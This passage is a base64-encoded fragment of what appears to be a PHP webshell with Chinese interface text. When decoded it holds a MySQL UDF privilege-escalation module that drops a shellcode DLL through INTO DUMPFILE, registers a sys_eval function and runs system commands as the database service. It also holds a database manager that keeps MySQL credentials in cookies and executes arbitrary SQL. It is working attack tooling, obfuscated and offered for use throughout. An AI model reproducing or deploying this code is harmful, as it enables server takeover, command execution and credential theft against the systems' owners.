o8b3B0aW9uIHZhbHVlPSJiYXNlNjRfZGVjb2RlIj5iYXNlNjS94sLrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InVybGVuY29kZSI+dXJsseDC6zwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ1cmxkZWNvZGUiPnVybL3iwus8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZnVsbF91cmxlbmNvZGUiPnVybM3qyKux4MLrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Im1kNSI+TUQ1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InNoYTEiPlNIQTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY3J5cHQiPmNyeXB0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImFzY2lpMmhleCI+YXNjaWkyaGV4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleDJhc2NpaSI+aGV4MmFzY2lpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleGRlYyI+aGV4ZGVjPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImhleDJiaW4iPmhleDJiaW48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZGVjaGV4Ij5kZWNoZXg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZGVjYmluIj5kZWNiaW48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iYmluaGV4Ij5iaW5oZXg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iYmluZGVjIj5iaW5kZWM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0ic3RydG9sb3dlciI+16rQodC0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InN0cnRvdXBwZXIiPteqtPPQtDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJodG1sc3BlY2lhbGNoYXJzIj5odG1sc3BlY2lhbGNoYXJzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InN0cmxlbiI+19a3+7Sus6S2yDwvb3B0aW9uPgo8L3NlbGVjdD48YnI+CkVPRjsKICAgICAgICBpZiAoIWlzc2V0KCRfUE9TVFsnbmV3Y29kZSddKSl7CiAgICAgICAgICAgICRfUE9TVFsnbmV3Y29kZSddID0gIiI7CiAgICAgICAgICAgICRfUE9TVFsnb2xkY29kZSddID0gIiI7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgICAgICAgICAkX1BPU1RbJ29sZGNvZGUnXSA9ICRfUE9TVFsnZnVuYyddKCRfUE9TVFsnbmV3Y29kZSddKTsKICAgICAgICB9CgogICAgICAgIGh0bWxfbign16q7u8ewOicpOwogICAgICAgIGh0bWxfdGV4dCgibmV3Y29kZSIsICI2NyIsICI1IiwgJF9QT1NUWyduZXdjb2RlJ10pOwogICAgICAgIGh0bWxfbignPGJyPjxicj4nKTsKICAgICAgICBodG1sX24oJ9equ7u68zonKTsKICAgICAgICBodG1sX3RleHQoIm9sZGNvZGUiLCAiNjciLCAiNSIsICRfUE9TVFsnb2xkY29kZSddKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAicGFzc3JldHVybiIsICLXqru7IiwgIjxicj48YnI+Iik7CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgIm15ZXhwIjoKICAgICAgICAkTVNHX0JPWCA9ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KirPyL72zPW8/jpteXNxbNPDu6e+39PQtbyz9s7EvP7IqM/eLNK7sOPH6b/2z8K99nJvb3TTtdPQPC9mb250Pjxicj7H68/Itbyz9kRMTCzU2da00NDD/MHuLLW8s/bCt762sdjQ68TcvNPU2ERMTM7EvP4s1rvQ6LPJuaa1vLP20ru0zry0v8kuPGJyPndpbmRvd3PPwm15c3FsxKzIz86qc3lzdGVtyKjP3ixsaW51eM/CbXlzcWy99s6qbXlzcWzIqM/eLLnKsb5zaGVsbNa7zOG5qXdpbmRvd3PPwtK7vPzM4cioJzsKICAgICAgICAkaW5mbyA9ICfD/MHuu9jP1Cc7CiAgICAgICAgJG1ob3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAgICAgJG11c2VyID0gJ3Jvb3QnOwogICAgICAgICRtcG9ydCA9ICczMzA2JzsKICAgICAgICAkbXBhc3MgPSAnJzsKICAgICAgICAkbWRhdGEgPSAnbXlzcWwnOwogICAgICAgICRtcGF0aCA9ICcnOwogICAgICAgICRzcWxjbWQgPSAnd2hvYW1pJzsKICAgICAgICBpZihpc3NldCgkX1NFU1NJT05bJ21wYXNzJ10pKQogICAgICAgICAgICAkbXBhc3MgPSAkX1NFU1NJT05bJ21wYXNzJ107CgogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21ob3N0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkpIHsKICAgICAgICAgICAgQCRteXNxbDY0ID0gaXNzZXQoJF9QT1NUWydteXNxbDY0J10pID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICAgICBpZiAoJG15c3FsNjQpIHsKICAgICAgICAgICAgICAgICRteXNxbDY0ID0gJ2NoZWNrZWQnOwogICAgICAgICAgICAgICAgJEJIID0gJ0JINjQuZGxsJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRCSCA9ICdCSC5kbGwnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtaG9zdCA9ICRfUE9TVFsnbWhvc3QnXTsKICAgICAgICAgICAgJG11c2VyID0gJF9QT1NUWydtdXNlciddOwogICAgICAgICAgICAkbXBhc3MgPSAiIjsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydtcGFzcyddKSkgewogICAgICAgICAgICAgICAgJG1wYXNzID0gJF9QT1NUWydtcGFzcyddOwogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydtcGFzcyddID0gJG1wYXNzOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZGF0YSA9ICRfUE9TVFsnbWRhdGEnXTsKICAgICAgICAgICAgJG1wb3J0ID0gJF9QT1NUWydtcG9ydCddOwogICAgICAgICAgICAkbXBhdGggPSBGaWxlX1N0cigkX1BPU1RbJ21wYXRoJ10pOwogICAgICAgICAgICAkc3FsY21kID0gJF9QT1NUWydzcWxjbWQnXTsKICAgICAgICAgICAgJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkbWhvc3QgLiAnOicgLiAkbXBvcnQsICRtdXNlciwgJG1wYXNzKTsKICAgICAgICAgICAgaWYgKCRjb25uKSB7CiAgICAgICAgICAgICAgICBAbXlzcWxpX3NlbGVjdF9kYigkY29ubiwgJG1kYXRhKTsKICAgICAgICAgICAgICAgICRzdHIgPSBteXNxbGlfZ2V0X3NlcnZlcl9pbmZvKCk7CiAgICAgICAgICAgICAgICAkc3FsID0gIlNIT1cgVkFSSUFCTEVTIExJS0UgJyVwbHVnaW5fZGlyJSciOwogICAgICAgICAgICAgICAgJHJvdyA9IG15c3FsaV9xdWVyeSgkY29ubiwgJHNxbCk7CiAgICAgICAgICAgICAgICAkcm93cyA9IG15c3FsaV9mZXRjaF9yb3coJHJvdyk7CiAgICAgICAgICAgICAgICAkcGEgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyb3dzWzFdKTsKICAgICAgICAgICAgICAgICRwYXRoID0gJHBhIC4gJy8nIC4gJEJIOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbXBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgJG1wYXRoID0gJG1wYXRoOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbXBhdGggPSAkcGF0aDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgoIWVtcHR5KCRfUE9TVFsnb3V0ZGxsJ10pKSAmJiAoIWVtcHR5KCRtcGF0aCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIkNSRUFURSBUQUJMRSBFbnZsX1RlbXBfVGFiIChlbnZsIEJMT0IpOyI7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc2hlbGxjb2RlID0gJG15c3FsNjQgPyBteXNxbGlfc2hlbGxjb2RlNjQoKSA6IG15c3FsaV9zaGVsbGNvZGUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIklOU0VSVCBpbnRvIEVudmxfVGVtcF9UYWIgdmFsdWVzIChDT05WRVJUKCIgLiAkc2hlbGxjb2RlIC4gIixDSEFSKSk7IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBlbnZsIEZST00gRW52bF9UZW1wX1RhYiBJTlRPIERVTVBGSUxFIFwnJyAuICRtcGF0aCAuICdcJzsnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcCA9IGV4cGxvZGUoJy8nLCAkbXBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnBhdGggPSBhcnJheV9wb3AoJGFwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnQ3JlYXRlIEZ1bmN0aW9uIHN5c19ldmFsIHJldHVybnMgc3RyaW5nIHNvbmFtZSBcJycgLiAkQkggLiAnXCc7JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICewstewRExMs8m5picgOiAnsLLXsERMTMqnsNwsx+u87LLpbXlzcWzUy9DQzrvK/ScgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7W8s/ZETEzOxLz+yqew3CcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAn0LTI68HZyrGx7cqnsNwnOwogICAgICAgICAgICAgICAgICAgICAgICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIEVudmxfVGVtcF9UYWI7Jyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRNU0dfQk9YID0gJ7S0vajB2cqxse3Kp7DcJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydydW5jbWQnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnc2VsZWN0IHN5c19ldmFsKCInIC4gJHNxbGNtZCAuICciKTsnOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRxdWVyeSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXN1bHQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkaW5mbyA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluZm90bXAgLj0gJHJvd1ska107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaysrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvID0gJGluZm90bXA7CiAgICAgICAgICAgICAgICAgICAgICAgICRNU0dfQk9YID0gJ9a00NCzybmmJzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAn1rTQ0MqnsNwnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgJE1TR19CT1ggPSAnway9001ZU1FMyqew3Cc7CiAgICAgICAgfQogICAgICAgIHByaW50PDw8RU5ECjxmb3JtIGlkPSJtZm9ybSIgbWV0aG9kPSJQT1NUIj4KPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+CjxjZW50ZXI+PGRpdiBjbGFzcz0iYWN0YWxsIj4KtdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJ7JG1ob3N0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Ktsu/2iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBvcnQiIHZhbHVlPSJ7JG1wb3J0fSIgc3R5bGU9IndpZHRoOjExMHB4Ij4K08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJ7JG11c2VyfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kw9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSJ7JG1wYXNzfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4Kv+LD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWRhdGEiIHZhbHVlPSJ7JG1kYXRhfSIgc3R5bGU9IndpZHRoOjExMHB4Ij4KPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4KvNPU2MK3vrYosrvM7tTy19S2r7vxyKEpIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0nZGxsbGonIG5hbWU9Im1wYXRoIiB2YWx1ZT0ieyRtcGF0aH0iIHN0eWxlPSJ3aWR0aDo1MDBweCI+CjY0zrtNWVNRTCA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkbGxsaicpLnZhbHVlPScnOyIgbmFtZT0ibXlzcWw2NCIgdmFsdWU9IjEiIHskbXlzcWw2NH0gLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ib3V0ZGxsIiB2YWx1ZT0isLLXsERMTCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7Wp7PWuN+w5rG+TVlTUUwgPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxjbWQiIHZhbHVlPSJ7JHNxbGNtZH0iIHN0eWxlPSJ3aWR0aDo2MzVweDsiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJydW5jbWQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPgo8YnIgLz4KPHByZT4KPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDo3MjBweDtoZWlnaHQ6MzAwcHg7Ij57JGluZm99PC90ZXh0YXJlYT4KPC9wcmU+CjwvZGl2PjwvY2VudGVyPgo8L2Zvcm0+CkVORDsKICAgICAgICBicmVhazsKCgogICAgY2FzZSAibXlzcWxpX2V4ZWMiOgogICAgICAgICRlcnJvckluZm8gPSAiIjsKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydtaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ21wb3J0J10pICYmIGlzc2V0KCRfUE9TVFsnbXVzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydtcGFzcyddKSkgewogICAgICAgICAgICBpZiAoQG15c3FsaV9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXSAuICc6JyAuICRfUE9TVFsnbXBvcnQnXSwgJF9QT1NUWydtdXNlciddLCAkX1BPU1RbJ21wYXNzJ10pKSB7CiAgICAgICAgICAgICAgICAkY29va2lldGltZSA9IHRpbWUoKSArIDI0ICogMzYwMDsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX2hvc3QnLCAkX1BPU1RbJ21ob3N0J10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3BvcnQnLCAkX1BPU1RbJ21wb3J0J10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3VzZXInLCAkX1BPU1RbJ211c2VyJ10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnbV93ZWJzaXRlX3Bhc3MnLCAkX1BPU1RbJ21wYXNzJ10sICRjb29raWV0aW1lKTsKICAgICAgICAgICAgICAgIGRpZSgn1f3U2rXHwrwsx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3dlYnNpdGVfPW15c3FsaV9tc2ciPicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRlcnJvckluZm8gPSBteXNxbGlfY29ubmVjdF9lcnJvcigpOwogICAgICAgIH0KICAgICAgICBwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im9mb3JtIiBpZD0ib2Zvcm0iPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0iMzMwNiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7Tw7unIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdXNlciIgdmFsdWU9InJvb3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+w9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IrXHwrwiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDT09LSUW1x8K8IiBzdHlsZT0id2lkdGg6ODBweDsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3dlYnNpdGVfPW15c3FsaV9tc2cnOyI+PC9kaXY+CjwvZm9ybT4KPGZvbnQgY29sb3I9IiNGRjAwMDAiPiRlcnJvckluZm88L2ZvbnQ+CkVORDsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJteXNxbGlfbXNnIjoKICAgICAgICAkY29ubiA9IEBteXNxbGlfY29ubmVjdCgkX0NPT0tJRVsnbV93ZWJzaXRlX2hvc3QnXSAuICc6JyAuICRfQ09PS0lFWydtX3dlYnNpdGVfcG9ydCddLCAkX0NPT0tJRVsnbV93ZWJzaXRlX3VzZXInXSwgJF9DT09LSUVbJ21fd2Vic2l0ZV9wYXNzJ10pOwogICAgICAgIGlmICgkY29ubikgewogICAgICAgICAgICBwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRGVsb2sobXNnLGdvdXJsKQp7CglzbXNnID0gIsi3tqjSqsm+s/1bIiArIHVuZXNjYXBlKG1zZykgKyAiXcLwPyI7CglpZihjb25maXJtKHNtc2cpKXt3aW5kb3cubG9jYXRpb24gPSBnb3VybDt9Cgl3aW5kb3cubG9jYXRpb24gPSBnb3VybDsKfQpmdW5jdGlvbiBDcmVhdGVvayhhYykKewoJaWYoYWMgPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBUQUJMRSBuYW1lICh3ZWJzaXRlXyBCTE9CKTsnOwoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7CglpZihhYyA9PSAnYycpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSAnRFJPUCBEQVRBQkFTRSBuYW1lOyc7CglyZXR1cm4gZmFsc2U7Cn0KRU5EOwogICAgICAgICAgICBodG1sX2Jhc2UoKTsKICAgICAgICAgICAgcHJpbnQ8PDxFTkQKZnVuY3Rpb24gU3VibWl0VXJsKCl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduc3FsJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSk7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0PgpFTkQ7CiAgICAgICAgICAgICRCT09MID0gZmFsc2U7CiAgICAgICAgICAgICRNU0dfQk9YID0gJ9PDu6c6JyAuICRfQ09PS0lFWydtX3dlYnNpdGVfdXNlciddIC4gJyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgtdjWtzonIC4gJF9DT09LSUVbJ21fd2Vic2l0ZV9ob3N0J10gLiAnOicgLiAkX0NPT0tJRVsnbV93ZWJzaXRlX3BvcnQnXSAuICcgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILDmsb46JzsKICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAkcmVzdWx0ID0gQG15c3FsaV9xdWVyeSgkY29ubiwnc2VsZWN0IHZlcnNpb24oKTsnKTsKICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAkTVNHX0JPWCAuPSAkcm93WyRrXTsKICAgICAgICAgICAgICAgICRrKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4gyv2+3b/iOic7CiAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sIlNIT1cgREFUQUJBU0VTIik7CiAgICAgICAgICAgIHdoaWxlICgkZGIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJyZuYnNwOyZuYnNwO1s8YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJGRiWydEYXRhYmFzZSddIC4gJyI+JyAuICRkYlsnRGF0YWJhc2UnXSAuICc8L2E+XSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydkYiddKSkgewogICAgICAgICAgICAgICAgbXlzcWxpX3NlbGVjdF9kYiggJGNvbm4sICRfR0VUWydkYiddKTsKICAgICAgICAgICAgICAgICRfUE9TVFsnbnNxbCddID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ25zcWwnXSk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbnNxbCddKSkgewogICAgICAgICAgICAgICAgICAgICRCT09MID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IG15c3FsaV9xdWVyeSgkY29ubiwgJF9QT1NUWyduc3FsJ10pID8gJ9a00NCzybmmJyA6ICfWtNDQyqew3CAnIC4gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX1BPU1RbJ2luc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcgLiAkX0dFVFsndGFibGUnXSAuICcgKCc7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydpbnNxbCddIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnlhIC49ICR2YXIgLiAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRxdWVyeWIgLj0gJ1wnJyAuIGFkZHNsYXNoZXMoJGtleSkgLiAnXCcsJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJHF1ZXJ5IC4gc3Vic3RyKCRxdWVyeWEsIDAsIC0xKSAuICcpIFZBTFVFUyAoJyAuIHN1YnN0cigkcXVlcnliLCAwLCAtMSkgLiAnKTsnOwogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpID8gJ8ztvNOzybmmJyA6ICfM7bzTyqew3CAnIC4gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX1BPU1RbJ3Vwc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1VQREFURSAnIC4gJF9HRVRbJ3RhYmxlJ10gLiAnIFNFVCAnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsndXBzcWwnXSBhcyAkdmFyID0+ICRrZXkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5YiAuPSAkdmFyIC4gJz1cJycgLiBhZGRzbGFzaGVzKCRrZXkpIC4gJ1wnLCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRxdWVyeSA9ICRxdWVyeSAuIHN1YnN0cigkcXVlcnliLCAwLCAtMSkgLiAnICcgLiBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnd2hlcmV2YXInXSkgLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJyAuIG15c3FsaV9lcnJvcigkY29ubik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2RlbCddKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBMSU1JVCAnIC4gJF9HRVRbJ2RlbCddIC4gJywgMTsnKTsKICAgICAgICAgICAgICAgICAgICAkZ29vZCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnREVMRVRFIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBXSEVSRSAnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRnb29kIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnljIC49ICR2YXIgLiAnPVwnJyAuIGFkZHNsYXNoZXMoJGtleSkgLiAnXCcgQU5EICc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICRxdWVyeSAuIHN1YnN0cigkcXVlcnljLCAwLCAtNCkgLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sICR3aGVyZSkgPy